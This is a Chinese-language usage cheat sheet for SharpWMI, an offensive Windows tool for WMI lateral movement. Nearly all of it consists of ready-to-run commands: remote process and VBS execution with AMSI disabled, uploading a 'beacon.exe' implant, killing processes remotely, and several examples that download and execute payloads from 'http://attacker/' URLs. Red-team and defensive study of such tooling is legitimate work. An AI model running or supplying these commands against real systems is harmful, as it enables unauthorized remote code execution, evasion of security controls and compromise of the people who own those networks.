本地系统枚举：
    SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]

  远程系统枚举：
    SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]

  远程系统已登录用户枚举：
    SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]

  远程进程创建：
    SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]

  远程 VBS 执行：
    SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]

  通过 WMI 上传文件：
    SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]

  远程防火墙枚举：
    SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
    
  列出进程：
    SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]

  终止进程（首个找到的）：
    SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]

  获取环境变量（若不指定名称则获取全部）：
    SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]

  设置环境变量：
    SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]

  删除环境变量：
    SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]

  安装 MSI 文件：
    SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]

注意：
  - 任何远程函数也可接受可选的 username=DOMAIN\\user、password=Password123! 参数。
  - 若不指定 computername，则目标为本地主机。

  A) 通过预设的 VBS 代码执行操作系统命令：
    SharpWMI.exe action=executevbs [...] command="notepad.exe"

  B) 从 URL 下载 PowerShell 命令，并通过 VBS 通过 PowerShell 的标准输入执行：
    SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"

  C) 从给定 URL 下载二进制文件，存储在指定路径，然后执行它：
                                         url="SOURCE_URL,TARGET_PATH"
    SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"

  D) 从给定 URL 下载二进制文件，存储在指定路径，然后执行任意命令：
                                         url="SOURCE_URL,TARGET_PATH"
    SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"

  E) 从文件中读取 VBS 脚本并执行：
    SharpWMI.exe action=executevbs [...] script="myscript.vbs"

  F) 按字面执行给定的 VBS 脚本：
    SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"

  G) 对输入字符串进行 Base64 解码（该字符串为编码后的 VBS 脚本），并在远程机器上执行：
    SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"

  H) 读取给定文件的内容，进行 Base64 解码，然后在目标机器上执行：
    SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"

  最后，'executevbs' 操作还可以定义额外的 [time-specs]（以秒为单位），它们指定脚本触发和等待超时：
    SharpWMI.exe action=executevbs [...] trigger=5 timeout=10

  SharpWMI.exe action=query query=""select * from win32_process""

  SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""

  SharpWMI.exe action=loggedon computername=primary.testlab.local

  SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""

  SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""

  SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""

  SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable

  SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable

  SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""

  SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable

  SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer

  SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local

  SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local

  SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local

  SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""

SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"